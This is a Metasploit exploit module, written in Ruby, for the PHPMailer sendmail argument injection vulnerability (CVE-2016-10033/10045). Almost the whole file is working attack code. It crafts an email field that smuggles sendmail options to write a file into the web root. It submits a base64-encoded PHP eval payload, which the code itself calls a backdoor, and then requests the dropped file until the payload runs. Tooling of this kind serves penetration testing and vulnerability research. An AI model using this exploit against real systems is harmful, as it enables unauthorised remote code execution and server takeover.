## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'PHPMailer Sendmail Argument Injection', 'Description' => %q{ PHPMailer versions up to and including 5.2.19 are affected by a vulnerability which can be leveraged by an attacker to write a file with partially controlled contents to an arbitrary location through injection of arguments that are passed to the sendmail binary. This module writes a payload to the web root of the webserver before then executing it with an HTTP request. The user running PHPMailer must have write access to the specified WEB_ROOT directory and successful exploitation can take a few minutes. }, 'Author' => [ 'Dawid Golunski', # vulnerability discovery and original PoC 'Spencer McIntyre' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2016-10033'], ['CVE', '2016-10045'], ['EDB', '40968'], ['EDB', '40969'], ['URL', 'https://github.com/opsxcq/exploit-CVE-2016-10033'], ['URL', 'https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html'] ], 'DisclosureDate' => 'Dec 26 2016', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Payload' => {'DisableNops' => true}, 'Targets' => [ ['PHPMailer <5.2.18', {}], ['PHPMailer 5.2.18 - 5.2.19', {}] ], 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'Path to the application root', '/']), OptString.new('TRIGGERURI', [false, 'Path to the uploaded payload', '']), OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www']) ], self.class) register_advanced_options( [ OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait to trigger the payload', 300]) ], self.class) end def trigger(trigger_uri) print_status("Sleeping before requesting the payload from: #{trigger_uri}") page_found = false sleep_time = 10 wait_time = datastore['WAIT_TIMEOUT'] print_status("Waiting for up to #{wait_time} seconds to trigger the payload") while wait_time > 0 sleep(sleep_time) wait_time -= sleep_time res = send_request_cgi( 'method' => 'GET', 'uri' => trigger_uri ) if res.nil? if page_found or session_created? print_good('Successfully triggered the payload') break end next end next unless res.code == 200 if res.body.length == 0 and not page_found print_good('Successfully found the payload') page_found = true end end end def exploit payload_file_name = "#{rand_text_alphanumeric(8)}.php" payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}" if target.name == 'PHPMailer <5.2.18' email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\\" -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com" elsif target.name == 'PHPMailer 5.2.18 - 5.2.19' email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\' -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com" else fail_with(Failure::NoTarget, 'The specified version is not supported') end data = Rex::MIME::Message.new data.add_part('submit', nil, nil, 'form-data; name="action"') data.add_part("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", nil, nil, 'form-data; name="name"') data.add_part(email, nil, nil, 'form-data; name="email"') data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, 'form-data; name="message"') print_status("Writing the backdoor to #{payload_file_path}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s ) register_files_for_cleanup(payload_file_path) trigger(normalize_uri(datastore['TRIGGERURI'].blank? ? target_uri : datastore['TRIGGERURI'], payload_file_name)) end end